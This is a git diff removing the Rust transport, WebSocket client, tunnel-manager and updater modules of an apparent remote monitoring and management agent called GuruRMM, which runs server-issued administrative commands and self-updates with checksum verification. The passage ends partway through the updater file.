b/projects/msp-tools/guru-rmm/agent/src/transport/mod.rs deleted file mode 100644 index 0315109..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/transport/mod.rs +++ /dev/null @@ -1,353 +0,0 @@ -//! Transport layer for agent-server communication -//! -//! Handles WebSocket connection to the GuruRMM server with: -//! - Auto-reconnection on disconnect -//! - Authentication via API key -//! - Sending metrics and receiving commands -//! - Heartbeat to maintain connection - -mod websocket; - -pub use websocket::WebSocketClient; - -use serde::{Deserialize, Serialize}; -use uuid::Uuid; - -/// Messages sent from agent to server -#[derive(Debug, Clone, Serialize, Deserialize)] -#[serde(tag = "type", content = "payload")] -#[serde(rename_all = "snake_case")] -pub enum AgentMessage { - /// Authentication message (sent on connect) - Auth(AuthPayload), - - /// Metrics report - Metrics(crate::metrics::SystemMetrics), - - /// Network state update (sent on connect and when interfaces change) - NetworkState(crate::metrics::NetworkState), - - /// Command execution result - CommandResult(CommandResultPayload), - - /// Watchdog event (service stopped, restarted, etc.) - WatchdogEvent(WatchdogEventPayload), - - /// Update result (success, failure, rollback) - UpdateResult(UpdateResultPayload), - - /// Heartbeat to keep connection alive - Heartbeat, - - /// Tunnel ready confirmation (agent → server) - TunnelReady { session_id: String }, - - /// Tunnel data (bidirectional) - TunnelData { - channel_id: String, - data: TunnelDataPayload, - }, - - /// Tunnel error (agent → server) - TunnelError { channel_id: String, error: String }, -} - -/// Authentication payload -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct AuthPayload { - /// API key for this agent (or site) - pub api_key: String, - - /// Unique device identifier (hardware-derived) - pub device_id: String, - - /// Hostname of this machine - pub hostname: String, - - /// Operating system type - pub os_type: String, - - /// Operating system version - pub os_version: String, - - /// Agent version - pub agent_version: String, - - /// Architecture (amd64, arm64, etc.) - #[serde(default = "default_arch")] - pub architecture: String, - - /// Previous version if reconnecting after update - #[serde(skip_serializing_if = "Option::is_none")] - pub previous_version: Option, - - /// Update ID if reconnecting after update - #[serde(skip_serializing_if = "Option::is_none")] - pub pending_update_id: Option, -} - -fn default_arch() -> String { - #[cfg(target_arch = "x86_64")] - { "amd64".to_string() } - #[cfg(target_arch = "aarch64")] - { "arm64".to_string() } - #[cfg(not(any(target_arch = "x86_64", target_arch = "aarch64")))] - { "unknown".to_string() } -} - -/// Command execution result payload -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct CommandResultPayload { - /// Command ID (from the server) - pub command_id: Uuid, - - /// Exit code (0 = success) - pub exit_code: i32, - - /// Standard output - pub stdout: String, - - /// Standard error - pub stderr: String, - - /// Execution duration in milliseconds - pub duration_ms: u64, -} - -/// Watchdog event payload -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct WatchdogEventPayload { - /// Service or process name - pub name: String, - - /// Event type - pub event: WatchdogEvent, - - /// Additional details - pub details: Option, -} - -/// Types of watchdog events -#[derive(Debug, Clone, Serialize, Deserialize)] -#[serde(rename_all = "snake_case")] -pub enum WatchdogEvent { - /// Service/process was found stopped - Stopped, - - /// Service/process was restarted by the agent - Restarted, - - /// Restart attempt failed - RestartFailed, - - /// Max restart attempts reached - MaxRestartsReached, - - /// Service/process recovered on its own - Recovered, -} - -/// Messages sent from server to agent -#[derive(Debug, Clone, Serialize, Deserialize)] -#[serde(tag = "type", content = "payload")] -#[serde(rename_all = "snake_case")] -pub enum ServerMessage { - /// Authentication acknowledgment - AuthAck(AuthAckPayload), - - /// Command to execute - Command(CommandPayload), - - /// Configuration update - ConfigUpdate(ConfigUpdatePayload), - - /// Agent update command - Update(UpdatePayload), - - /// Acknowledgment of received message - Ack { message_id: Option }, - - /// Error message - Error { code: String, message: String }, - - /// Tunnel open request (server → agent) - TunnelOpen { session_id: String, tech_id: Uuid }, - - /// Tunnel close request (server → agent) - TunnelClose { session_id: String }, - - /// Tunnel data (bidirectional) - TunnelData { - channel_id: String, - data: TunnelDataPayload, - }, -} - -/// Authentication acknowledgment payload -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct AuthAckPayload { - /// Whether authentication was successful - pub success: bool, - - /// Agent ID assigned by server - pub agent_id: Option, - - /// Error message if authentication failed - pub error: Option, -} - -/// Command payload from server -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct CommandPayload { - /// Unique command ID - pub id: Uuid, - - /// Type of command - pub command_type: CommandType, - - /// Command text to execute - pub command: String, - - /// Optional timeout in seconds - pub timeout_seconds: Option, - - /// Whether to run as elevated/admin - pub elevated: bool, -} - -/// Types of commands -#[derive(Debug, Clone, Serialize, Deserialize)] -#[serde(rename_all = "snake_case")] -pub enum CommandType { - /// Shell command (cmd on Windows, bash on Unix) - Shell, - - /// PowerShell command (Windows) - /// Alias "powershell" for backwards compatibility with servers that send - /// the command type as a plain string instead of snake_case enum format. - #[serde(alias = "powershell")] - PowerShell, - - /// Python script - Python, - - /// Raw script (requires interpreter path) - Script { interpreter: String }, - - /// Claude Code task execution - #[serde(alias = "claude_task")] - ClaudeTask { - /// Task description for Claude Code - task: String, - /// Optional working directory (defaults to C:\Shares\test) - working_directory: Option, - /// Optional context files to provide to Claude - context_files: Option>, - }, -} - -/// Configuration update payload -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct ConfigUpdatePayload { - /// New metrics interval (if changed) - pub metrics_interval_seconds: Option, - - /// Updated watchdog config - pub watchdog: Option, -} - -/// Watchdog configuration update -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct WatchdogConfigUpdate { - /// Enable/disable watchdog - pub enabled: Option, - - /// Check interval - pub check_interval_seconds: Option, - - // Services and processes would be included here for remote config updates -} - -/// Update command payload from server -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct UpdatePayload { - /// Unique update ID for tracking - pub update_id: Uuid, - - /// Target version to update to - pub target_version: String, - - /// Download URL for the new binary - pub download_url: String, - - /// SHA256 checksum of the binary - pub checksum_sha256: String, - - /// Whether to force update (skip version check) - #[serde(default)] - pub force: bool, -} - -/// Update result payload sent back to server -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct UpdateResultPayload { - /// Update ID (from the server) - pub update_id: Uuid, - - /// Update status - pub status: UpdateStatus, - - /// Old version before update - pub old_version: String, - - /// New version after update (if successful) - pub new_version: Option, - - /// Error message if failed - pub error: Option, -} - -/// Update status codes -#[derive(Debug, Clone, Serialize, Deserialize)] -#[serde(rename_all = "snake_case")] -pub enum UpdateStatus { - /// Update starting - Starting, - - /// Downloading new binary - Downloading, - - /// Download complete, verifying - Verifying, - - /// Installing (replacing binary) - Installing, - - /// Restarting service - Restarting, - - /// Update completed successfully - Completed, - - /// Update failed - Failed, - - /// Rolled back to previous version - RolledBack, -} - -/// Tunnel data payload types (Phase 1: Terminal only) -#[derive(Debug, Clone, Serialize, Deserialize)] -#[serde(tag = "type", content = "payload")] -#[serde(rename_all = "snake_case")] -pub enum TunnelDataPayload { - /// Terminal command execution request (server → agent) - Terminal { command: String }, - - /// Terminal output response (agent → server) - TerminalOutput { - stdout: String, - stderr: String, - exit_code: Option, - }, -} diff --git a/projects/msp-tools/guru-rmm/agent/src/transport/websocket.rs b/projects/msp-tools/guru-rmm/agent/src/transport/websocket.rs deleted file mode 100644 index 79e060b..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/transport/websocket.rs +++ /dev/null @@ -1,599 +0,0 @@ -//! WebSocket client for server communication -//! -//! Handles the WebSocket connection lifecycle including: -//! - Connection establishment -//! - Authentication handshake -//! - Message sending/receiving -//! - Heartbeat maintenance -//! - Command handling - -use std::sync::Arc; -use std::time::Duration; - -use anyhow::{Context, Result}; -use futures_util::{SinkExt, StreamExt}; -use once_cell::sync::Lazy; -use tokio::sync::mpsc; -use tokio::time::{interval, timeout}; -use tokio_tungstenite::{connect_async, tungstenite::Message}; -use tracing::{debug, error, info, warn}; - -use super::{AgentMessage, AuthPayload, CommandPayload, ServerMessage, TunnelDataPayload, UpdatePayload, UpdateResultPayload, UpdateStatus}; -use crate::claude::{ClaudeExecutor, ClaudeTaskCommand}; -use crate::metrics::NetworkState; -use crate::tunnel::TunnelManager; -use crate::updater::{AgentUpdater, UpdaterConfig}; -use crate::AppState; - -/// Global Claude executor for handling Claude Code tasks -static CLAUDE_EXECUTOR: Lazy = Lazy::new(|| ClaudeExecutor::new()); - -/// WebSocket client for communicating with the GuruRMM server -pub struct WebSocketClient; - -impl WebSocketClient { - /// Connect to the server and run the message loop - /// - /// This function will return when the connection is closed or an error occurs. - /// The caller should handle reconnection logic. - pub async fn connect_and_run(state: Arc) -> Result<()> { - let url = &state.config.server.url; - - // Connect to WebSocket server - info!("Connecting to {}", url); - let (ws_stream, response) = connect_async(url) - .await - .context("Failed to connect to WebSocket server")?; - - info!( - "WebSocket connected (HTTP status: {})", - response.status() - ); - - let (mut write, mut read) = ws_stream.split(); - - // Check for pending update (from previous update attempt) - let updater_config = UpdaterConfig::default(); - let pending_update = AgentUpdater::load_pending_update(&updater_config).await; - - // If we have pending update info, we just restarted after an update - let (previous_version, pending_update_id) = if let Some(ref info) = pending_update { - info!( - "Found pending update info: {} -> {} (id: {})", - info.old_version, info.target_version, info.update_id - ); - (Some(info.old_version.clone()), Some(info.update_id)) - } else { - (None, None) - }; - - // Send authentication message - let auth_msg = AgentMessage::Auth(AuthPayload { - api_key: state.config.server.api_key.clone(), - device_id: crate::device_id::get_device_id(), - hostname: state.config.get_hostname(), - os_type: std::env::consts::OS.to_string(), - os_version: sysinfo::System::os_version().unwrap_or_else(|| "unknown".to_string()), - agent_version: env!("CARGO_PKG_VERSION").to_string(), - architecture: Self::get_architecture().to_string(), - previous_version, - pending_update_id, - }); - - let auth_json = serde_json::to_string(&auth_msg)?; - write.send(Message::Text(auth_json)).await?; - debug!("Sent authentication message"); - - // Wait for auth response with timeout - let auth_response = timeout(Duration::from_secs(10), read.next()) - .await - .context("Authentication timeout")? - .ok_or_else(|| anyhow::anyhow!("Connection closed before auth response"))? - .context("Failed to receive auth response")?; - - // Parse auth response - if let Message::Text(text) = auth_response { - let server_msg: ServerMessage = - serde_json::from_str(&text).context("Failed to parse auth response")?; - - match server_msg { - ServerMessage::AuthAck(ack) => { - if ack.success { - info!("Authentication successful, agent_id: {:?}", ack.agent_id); - *state.connected.write().await = true; - - // Send initial network state immediately after auth - let network_state = NetworkState::collect(); - info!( - "Sending initial network state ({} interfaces)", - network_state.interfaces.len() - ); - let network_msg = AgentMessage::NetworkState(network_state); - let network_json = serde_json::to_string(&network_msg)?; - write.send(Message::Text(network_json)).await?; - } else { - error!("Authentication failed: {:?}", ack.error); - return Err(anyhow::anyhow!( - "Authentication failed: {}", - ack.error.unwrap_or_else(|| "Unknown error".to_string()) - )); - } - } - ServerMessage::Error { code, message } => { - error!("Server error during auth: {} - {}", code, message); - return Err(anyhow::anyhow!("Server error: {} - {}", code, message)); - } - _ => { - warn!("Unexpected message during auth: {:?}", server_msg); - } - } - } - - // Create channel for outgoing messages - let (tx, mut rx) = mpsc::channel::(100); - - // Spawn metrics sender task - let metrics_tx = tx.clone(); - let metrics_state = Arc::clone(&state); - let metrics_interval = state.config.metrics.interval_seconds; - - let metrics_task = tokio::spawn(async move { - let mut timer = interval(Duration::from_secs(metrics_interval)); - - loop { - timer.tick().await; - - let metrics = metrics_state.metrics_collector.collect().await; - if metrics_tx.send(AgentMessage::Metrics(metrics)).await.is_err() { - debug!("Metrics channel closed"); - break; - } - } - }); - - // Spawn network state monitor task (checks for changes every 30 seconds) - let network_tx = tx.clone(); - let network_task = tokio::spawn(async move { - // Check for network changes every 30 seconds - let mut timer = interval(Duration::from_secs(30)); - let mut last_state = NetworkState::collect(); - - loop { - timer.tick().await; - - let current_state = NetworkState::collect(); - if current_state.has_changed(&last_state) { - info!( - "Network state changed (hash: {} -> {}), sending update", - last_state.state_hash, current_state.state_hash - ); - - // Log the changes for debugging - for iface in ¤t_state.interfaces { - debug!( - " Interface {}: IPv4={:?}", - iface.name, iface.ipv4_addresses - ); - } - - if network_tx - .send(AgentMessage::NetworkState(current_state.clone())) - .await - .is_err() - { - debug!("Network channel closed"); - break; - } - last_state = current_state; - } - } - }); - - // Spawn heartbeat task - let heartbeat_tx = tx.clone(); - let heartbeat_task = tokio::spawn(async move { - let mut timer = interval(Duration::from_secs(30)); - - loop { - timer.tick().await; - - if heartbeat_tx.send(AgentMessage::Heartbeat).await.is_err() { - debug!("Heartbeat channel closed"); - break; - } - } - }); - - // Create tunnel manager for mode switching - let mut tunnel_manager = TunnelManager::new(); - - // Main message loop - let result: Result<()> = loop { - tokio::select! { - // Handle outgoing messages - Some(msg) = rx.recv() => { - let json = serde_json::to_string(&msg)?; - if let Err(e) = write.send(Message::Text(json)).await { - break Err(e.into()); - } - - match &msg { - AgentMessage::Metrics(m) => { - debug!("Sent metrics: CPU={:.1}%", m.cpu_percent); - } - AgentMessage::NetworkState(n) => { - debug!("Sent network state: {} interfaces, hash={}", - n.interfaces.len(), n.state_hash); - } - AgentMessage::Heartbeat => { - debug!("Sent heartbeat"); - } - AgentMessage::TunnelReady { session_id } => { - info!("Sent TunnelReady for session: {}", session_id); - } - AgentMessage::TunnelData { channel_id, .. } => { - debug!("Sent TunnelData on channel: {}", channel_id); - } - AgentMessage::TunnelError { channel_id, error } => { - warn!("Sent TunnelError on channel {}: {}", channel_id, error); - } - _ => { - debug!("Sent message: {:?}", std::mem::discriminant(&msg)); - } - } - } - - // Handle incoming messages - Some(msg_result) = read.next() => { - match msg_result { - Ok(Message::Text(text)) => { - if let Err(e) = Self::handle_server_message(&text, &tx, &mut tunnel_manager).await { - error!("Error handling message: {}", e); - } - } - Ok(Message::Ping(data)) => { - if let Err(e) = write.send(Message::Pong(data)).await { - break Err(e.into()); - } - } - Ok(Message::Pong(_)) => { - debug!("Received pong"); - } - Ok(Message::Close(frame)) => { - info!("Server closed connection: {:?}", frame); - break Ok(()); - } - Ok(Message::Binary(_)) => { - warn!("Received unexpected binary message"); - } - Ok(Message::Frame(_)) => { - // Raw frame, usually not seen - } - Err(e) => { - error!("WebSocket error: {}", e); - break Err(e.into()); - } - } - } - - // Connection timeout (no activity) - _ = tokio::time::sleep(Duration::from_secs(90)) => { - warn!("Connection timeout, no activity for 90 seconds"); - break Err(anyhow::anyhow!("Connection timeout")); - } - } - }; - - // Cleanup - metrics_task.abort(); - network_task.abort(); - heartbeat_task.abort(); - *state.connected.write().await = false; - - // Force close tunnel if active - tunnel_manager.force_close(); - - result - } - - /// Handle a message received from the server - async fn handle_server_message( - text: &str, - tx: &mpsc::Sender, - tunnel_manager: &mut TunnelManager, - ) -> Result<()> { - let msg: ServerMessage = - serde_json::from_str(text).context("Failed to parse server message")?; - - match msg { - ServerMessage::Command(cmd) => { - info!("Received command: {:?} (id: {})", cmd.command_type, cmd.id); - Self::execute_command(cmd, tx.clone()).await; - } - ServerMessage::ConfigUpdate(update) => { - info!("Received config update: {:?}", update); - // Config updates will be handled in a future phase - } - ServerMessage::Ack { message_id } => { - debug!("Received ack for message: {:?}", message_id); - } - ServerMessage::AuthAck(_) => { - // Already handled during initial auth - } - ServerMessage::Error { code, message } => { - error!("Server error: {} - {}", code, message); - } - ServerMessage::Update(payload) => { - info!( - "Received update command: {} -> {} (id: {})", - env!("CARGO_PKG_VERSION"), - payload.target_version, - payload.update_id - ); - Self::handle_update(payload, tx.clone()).await; - } - ServerMessage::TunnelOpen { session_id, tech_id } => { - info!( - "Received tunnel open request: session={}, tech={}", - session_id, tech_id - ); - Self::handle_tunnel_open(session_id, tech_id, tunnel_manager, tx.clone()).await; - } - ServerMessage::TunnelClose { session_id } => { - info!("Received tunnel close request: session={}", session_id); - Self::handle_tunnel_close(session_id, tunnel_manager, tx.clone()).await; - } - ServerMessage::TunnelData { channel_id, data } => { - debug!("Received tunnel data on channel: {}", channel_id); - Self::handle_tunnel_data(channel_id, data, tunnel_manager, tx.clone()).await; - } - } - - Ok(()) - } - - /// Handle tunnel open request - async fn handle_tunnel_open( - session_id: String, - tech_id: uuid::Uuid, - tunnel_manager: &mut TunnelManager, - tx: mpsc::Sender, - ) { - match tunnel_manager.open_tunnel(session_id.clone(), tech_id) { - Ok(_) => { - info!("Tunnel opened successfully: {}", session_id); - // Send TunnelReady confirmation - let ready_msg = AgentMessage::TunnelReady { - session_id: session_id.clone(), - }; - if let Err(e) = tx.send(ready_msg).await { - error!("Failed to send TunnelReady message: {}", e); - } - } - Err(e) => { - error!("Failed to open tunnel: {}", e); - // Send error back to server - let error_msg = AgentMessage::TunnelError { - channel_id: "system".to_string(), - error: format!("Failed to open tunnel: {}", e), - }; - let _ = tx.send(error_msg).await; - } - } - } - - /// Handle tunnel close request - async fn handle_tunnel_close( - session_id: String, - tunnel_manager: &mut TunnelManager, - tx: mpsc::Sender, - ) { - match tunnel_manager.close_tunnel(&session_id) { - Ok(_) => { - info!("Tunnel closed successfully: {}", session_id); - } - Err(e) => { - warn!("Error closing tunnel: {}", e); - // Send error back to server - let error_msg = AgentMessage::TunnelError { - channel_id: "system".to_string(), - error: format!("Failed to close tunnel: {}", e), - }; - let _ = tx.send(error_msg).await; - } - } - } - - /// Handle tunnel data (Phase 1: Terminal commands only) - async fn handle_tunnel_data( - channel_id: String, - data: TunnelDataPayload, - _tunnel_manager: &TunnelManager, - tx: mpsc::Sender, - ) { - match data { - TunnelDataPayload::Terminal { command } => { - info!("Terminal command on channel {}: {}", channel_id, command); - // Phase 1: Just log and respond with placeholder - // Phase 2 will implement actual command execution - let response = AgentMessage::TunnelData { - channel_id, - data: TunnelDataPayload::TerminalOutput { - stdout: String::new(), - stderr: "Terminal execution not yet implemented (Phase 2)".to_string(), - exit_code: Some(-1), - }, - }; - let _ = tx.send(response).await; - } - TunnelDataPayload::TerminalOutput { .. } => { - // This shouldn't be sent to the agent, it's agent → server only - warn!("Received TerminalOutput on agent (unexpected)"); - } - } - } - - /// Handle an update command from the server - async fn handle_update(payload: UpdatePayload, tx: mpsc::Sender) { - // Send starting status - let starting_result = UpdateResultPayload { - update_id: payload.update_id, - status: UpdateStatus::Starting, - old_version: env!("CARGO_PKG_VERSION").to_string(), - new_version: None, - error: None, - }; - let _ = tx.send(AgentMessage::UpdateResult(starting_result)).await; - - // Spawn update in background (it will restart the service) - tokio::spawn(async move { - let config = UpdaterConfig::default(); - let updater = AgentUpdater::new(config); - let result = updater.perform_update(payload).await; - - // If we reach here, the update failed (successful update restarts the process) - let _ = tx.send(AgentMessage::UpdateResult(result)).await; - }); - } - - /// Get the current architecture - fn get_architecture() -> &'static str { - #[cfg(target_arch = "x86_64")] - { "amd64" } - #[cfg(target_arch = "aarch64")] - { "arm64" } - #[cfg(target_arch = "x86")] - { "386" } - #[cfg(target_arch = "arm")] - { "arm" } - #[cfg(not(any(target_arch = "x86_64", target_arch = "aarch64", target_arch = "x86", target_arch = "arm")))] - { "unknown" } - } - - /// Execute a command received from the server - async fn execute_command(cmd: CommandPayload, tx: mpsc::Sender) { - let command_id = cmd.id; - - // Spawn command execution in background - tokio::spawn(async move { - let start = std::time::Instant::now(); - - let result = Self::run_command(&cmd).await; - let duration_ms = start.elapsed().as_millis() as u64; - - let (exit_code, stdout, stderr) = match result { - Ok((code, out, err)) => (code, out, err), - Err(e) => (-1, String::new(), format!("Execution error: {}", e)), - }; - - let result_msg = AgentMessage::CommandResult(super::CommandResultPayload { - command_id, - exit_code, - stdout, - stderr, - duration_ms, - }); - - if tx.send(result_msg).await.is_err() { - error!("Failed to send command result"); - } - }); - } - - /// Run a command and capture output - async fn run_command(cmd: &CommandPayload) -> Result<(i32, String, String)> { - use tokio::process::Command; - - let timeout_secs = cmd.timeout_seconds.unwrap_or(300); // 5 minute default - - match &cmd.command_type { - super::CommandType::ClaudeTask { - task, - working_directory, - context_files, - } => { - // Handle Claude Code task - info!("Executing Claude Code task: {}", task); - - let claude_cmd = ClaudeTaskCommand { - task: task.clone(), - working_directory: working_directory.clone(), - timeout: Some(timeout_secs), - context_files: context_files.clone(), - }; - - match CLAUDE_EXECUTOR.execute_task(claude_cmd).await { - Ok(result) => { - let exit_code = match result.status { - crate::claude::TaskStatus::Completed => 0, - crate::claude::TaskStatus::Failed => 1, - crate::claude::TaskStatus::Timeout => 124, - }; - - let stdout = result.output.unwrap_or_default(); - let stderr = result.error.unwrap_or_default(); - - Ok((exit_code, stdout, stderr)) - } - Err(e) => { - error!("Claude task execution error: {}", e); - Ok((-1, String::new(), e)) - } - } - } - _ => { - // Handle regular commands - let mut command = match &cmd.command_type { - super::CommandType::Shell => { - #[cfg(windows)] - { - let mut c = Command::new("cmd"); - c.args(["/C", &cmd.command]); - c - } - #[cfg(unix)] - { - let mut c = Command::new("sh"); - c.args(["-c", &cmd.command]); - c - } - } - super::CommandType::PowerShell => { - let mut c = Command::new("powershell"); - c.args(["-NoProfile", "-NonInteractive", "-Command", &cmd.command]); - c - } - super::CommandType::Python => { - let mut c = Command::new("python"); - c.args(["-c", &cmd.command]); - c - } - super::CommandType::Script { interpreter } => { - let mut c = Command::new(interpreter); - c.args(["-c", &cmd.command]); - c - } - super::CommandType::ClaudeTask { .. } => { - unreachable!("ClaudeTask already handled above") - } - }; - - // Capture output - command.stdout(std::process::Stdio::piped()); - command.stderr(std::process::Stdio::piped()); - - // Execute with timeout - let output = timeout(Duration::from_secs(timeout_secs), command.output()) - .await - .context("Command timeout")? - .context("Failed to execute command")?; - - let exit_code = output.status.code().unwrap_or(-1); - let stdout = String::from_utf8_lossy(&output.stdout).to_string(); - let stderr = String::from_utf8_lossy(&output.stderr).to_string(); - - Ok((exit_code, stdout, stderr)) - } - } - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/tunnel/mod.rs b/projects/msp-tools/guru-rmm/agent/src/tunnel/mod.rs deleted file mode 100644 index 855bad7..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/tunnel/mod.rs +++ /dev/null @@ -1,276 +0,0 @@ -//! Tunnel management for real-time remote access -//! -//! This module handles the agent's tunnel mode, which enables: -//! - Interactive terminal access -//! - File operations (Phase 2+) -//! - Registry operations (Phase 2+) -//! - Service management (Phase 2+) -//! -//! The agent operates in two modes: -//! - Heartbeat mode: Default, sends periodic heartbeats and metrics -//! - Tunnel mode: Active session with a tech, handles real-time commands - -use std::collections::HashMap; -use tracing::{debug, info, warn}; -use uuid::Uuid; - -/// Agent operational mode -#[derive(Debug, Clone)] -pub enum AgentMode { - /// Default mode: periodic heartbeats and metrics - Heartbeat, - - /// Tunnel mode: active session with tech - Tunnel { - /// Unique session identifier - session_id: String, - /// Tech who opened the session - tech_id: Uuid, - /// Active channels (channel_id → channel type) - channels: HashMap, - }, -} - -impl AgentMode { - /// Check if agent is in tunnel mode - pub fn is_tunnel(&self) -> bool { - matches!(self, AgentMode::Tunnel { .. }) - } - - /// Get session ID if in tunnel mode - pub fn session_id(&self) -> Option<&str> { - match self { - AgentMode::Tunnel { session_id, .. } => Some(session_id), - AgentMode::Heartbeat => None, - } - } -} - -/// Type of tunnel channel -#[derive(Debug, Clone)] -pub enum ChannelType { - /// Terminal/command execution channel - Terminal, - /// File operation channel (Phase 2+) - File, - /// Registry operation channel (Phase 2+) - Registry, - /// Service management channel (Phase 2+) - Service, -} - -/// Tunnel manager for handling tunnel state and operations -pub struct TunnelManager { - /// Current agent mode - mode: AgentMode, -} - -impl TunnelManager { - /// Create a new tunnel manager in heartbeat mode - pub fn new() -> Self { - Self { - mode: AgentMode::Heartbeat, - } - } - - /// Get current mode - pub fn mode(&self) -> &AgentMode { - &self.mode - } - - /// Open a tunnel session - /// - /// Transitions from Heartbeat mode to Tunnel mode. - /// Returns error if already in tunnel mode. - pub fn open_tunnel(&mut self, session_id: String, tech_id: Uuid) -> Result<(), String> { - match &self.mode { - AgentMode::Heartbeat => { - info!( - "Opening tunnel session: {} (tech: {})", - session_id, tech_id - ); - self.mode = AgentMode::Tunnel { - session_id, - tech_id, - channels: HashMap::new(), - }; - Ok(()) - } - AgentMode::Tunnel { - session_id: existing_session, - .. - } => { - warn!( - "Tunnel open rejected: session {} already active", - existing_session - ); - Err(format!( - "Tunnel session {} already active", - existing_session - )) - } - } - } - - /// Close the tunnel session - /// - /// Transitions from Tunnel mode back to Heartbeat mode. - /// Cleans up all active channels. - pub fn close_tunnel(&mut self, session_id: &str) -> Result<(), String> { - match &self.mode { - AgentMode::Tunnel { - session_id: current_session, - channels, - .. - } => { - if current_session != session_id { - return Err(format!( - "Session ID mismatch: expected {}, got {}", - current_session, session_id - )); - } - - info!( - "Closing tunnel session: {} ({} channels active)", - session_id, - channels.len() - ); - - // Transition back to heartbeat mode - self.mode = AgentMode::Heartbeat; - Ok(()) - } - AgentMode::Heartbeat => { - warn!("Tunnel close ignored: no active session"); - Err("No active tunnel session".to_string()) - } - } - } - - /// Add a channel to the active tunnel session - pub fn add_channel(&mut self, channel_id: String, channel_type: ChannelType) -> Result<(), String> { - match &mut self.mode { - AgentMode::Tunnel { channels, .. } => { - debug!( - "Adding channel {} ({:?}) to tunnel", - channel_id, channel_type - ); - channels.insert(channel_id, channel_type); - Ok(()) - } - AgentMode::Heartbeat => Err("No active tunnel session".to_string()), - } - } - - /// Remove a channel from the active tunnel session - pub fn remove_channel(&mut self, channel_id: &str) -> Result<(), String> { - match &mut self.mode { - AgentMode::Tunnel { channels, .. } => { - if channels.remove(channel_id).is_some() { - debug!("Removed channel {} from tunnel", channel_id); - Ok(()) - } else { - Err(format!("Channel {} not found", channel_id)) - } - } - AgentMode::Heartbeat => Err("No active tunnel session".to_string()), - } - } - - /// Get the type of a channel - pub fn get_channel_type(&self, channel_id: &str) -> Option<&ChannelType> { - match &self.mode { - AgentMode::Tunnel { channels, .. } => channels.get(channel_id), - AgentMode::Heartbeat => None, - } - } - - /// Force close tunnel (e.g., on disconnect) - /// - /// Used during cleanup when connection is lost. - pub fn force_close(&mut self) { - if let AgentMode::Tunnel { session_id, .. } = &self.mode { - info!("Force closing tunnel session: {}", session_id); - self.mode = AgentMode::Heartbeat; - } - } -} - -impl Default for TunnelManager { - fn default() -> Self { - Self::new() - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_tunnel_lifecycle() { - let mut manager = TunnelManager::new(); - - // Start in heartbeat mode - assert!(matches!(manager.mode(), AgentMode::Heartbeat)); - assert!(!manager.mode().is_tunnel()); - - // Open tunnel - let session_id = "test-session-123".to_string(); - let tech_id = Uuid::new_v4(); - assert!(manager.open_tunnel(session_id.clone(), tech_id).is_ok()); - assert!(manager.mode().is_tunnel()); - assert_eq!(manager.mode().session_id(), Some(session_id.as_str())); - - // Can't open another tunnel - assert!(manager - .open_tunnel("another-session".to_string(), tech_id) - .is_err()); - - // Add channel - assert!(manager - .add_channel("channel-1".to_string(), ChannelType::Terminal) - .is_ok()); - - // Close tunnel - assert!(manager.close_tunnel(&session_id).is_ok()); - assert!(matches!(manager.mode(), AgentMode::Heartbeat)); - assert!(!manager.mode().is_tunnel()); - } - - #[test] - fn test_channel_management() { - let mut manager = TunnelManager::new(); - let session_id = "test-session".to_string(); - let tech_id = Uuid::new_v4(); - - // Can't add channel without tunnel - assert!(manager - .add_channel("channel-1".to_string(), ChannelType::Terminal) - .is_err()); - - // Open tunnel - manager.open_tunnel(session_id.clone(), tech_id).unwrap(); - - // Add channels - manager - .add_channel("channel-1".to_string(), ChannelType::Terminal) - .unwrap(); - manager - .add_channel("channel-2".to_string(), ChannelType::File) - .unwrap(); - - // Get channel type - assert!(matches!( - manager.get_channel_type("channel-1"), - Some(ChannelType::Terminal) - )); - - // Remove channel - assert!(manager.remove_channel("channel-1").is_ok()); - assert!(manager.get_channel_type("channel-1").is_none()); - - // Force close - manager.force_close(); - assert!(matches!(manager.mode(), AgentMode::Heartbeat)); - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/updater/mod.rs b/projects/msp-tools/guru-rmm/agent/src/updater/mod.rs deleted file mode 100644 index 131761f..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/updater/mod.rs +++ /dev/null @@ -1,688 +0,0 @@ -//! Agent self-update module -//! -//! Handles downloading, verifying, and installing agent updates. -//! Features: -//! - Download new binary via HTTPS -//! - SHA256 checksum verification -//! - Atomic binary replacement -//! - Auto-rollback if agent fails to restart - -use std::path::{Path, PathBuf}; - -use anyhow::{Context, Result}; -use sha2::{Sha256, Digest}; -use tokio::fs; -use tokio::io::AsyncWriteExt; -use tracing::{debug, error, info, warn}; -use uuid::Uuid; - -use crate::transport::{UpdatePayload, UpdateResultPayload, UpdateStatus}; - -/// Configuration for the updater -#[derive(Debug, Clone)] -pub struct UpdaterConfig { - /// Path to the current agent binary - pub binary_path: PathBuf, - /// Directory for config and backup files - pub config_dir: PathBuf, - /// Rollback timeout in seconds - pub rollback_timeout_secs: u64, -} - -impl Default for UpdaterConfig { - fn default() -> Self { - Self { - binary_path: Self::detect_binary_path(), - config_dir: Self::detect_config_dir(), - rollback_timeout_secs: 180, - } - } -} - -impl UpdaterConfig { - /// Detect the path to the currently running binary - fn detect_binary_path() -> PathBuf { - std::env::current_exe().unwrap_or_else(|_| { - #[cfg(windows)] - { PathBuf::from(r"C:\Program Files\GuruRMM\gururmm-agent.exe") } - #[cfg(not(windows))] - { PathBuf::from("/usr/local/bin/gururmm-agent") } - }) - } - - /// Detect the config directory - fn detect_config_dir() -> PathBuf { - #[cfg(windows)] - { PathBuf::from(r"C:\ProgramData\GuruRMM") } - #[cfg(not(windows))] - { PathBuf::from("/etc/gururmm") } - } - - /// Get the backup binary path - pub fn backup_path(&self) -> PathBuf { - self.config_dir.join("gururmm-agent.backup") - } - - /// Get the pending update info path (stores update_id for reconnection) - pub fn pending_update_path(&self) -> PathBuf { - self.config_dir.join("pending-update.json") - } -} - -/// Pending update information (persisted to disk before restart) -#[derive(Debug, Clone, serde::Serialize, 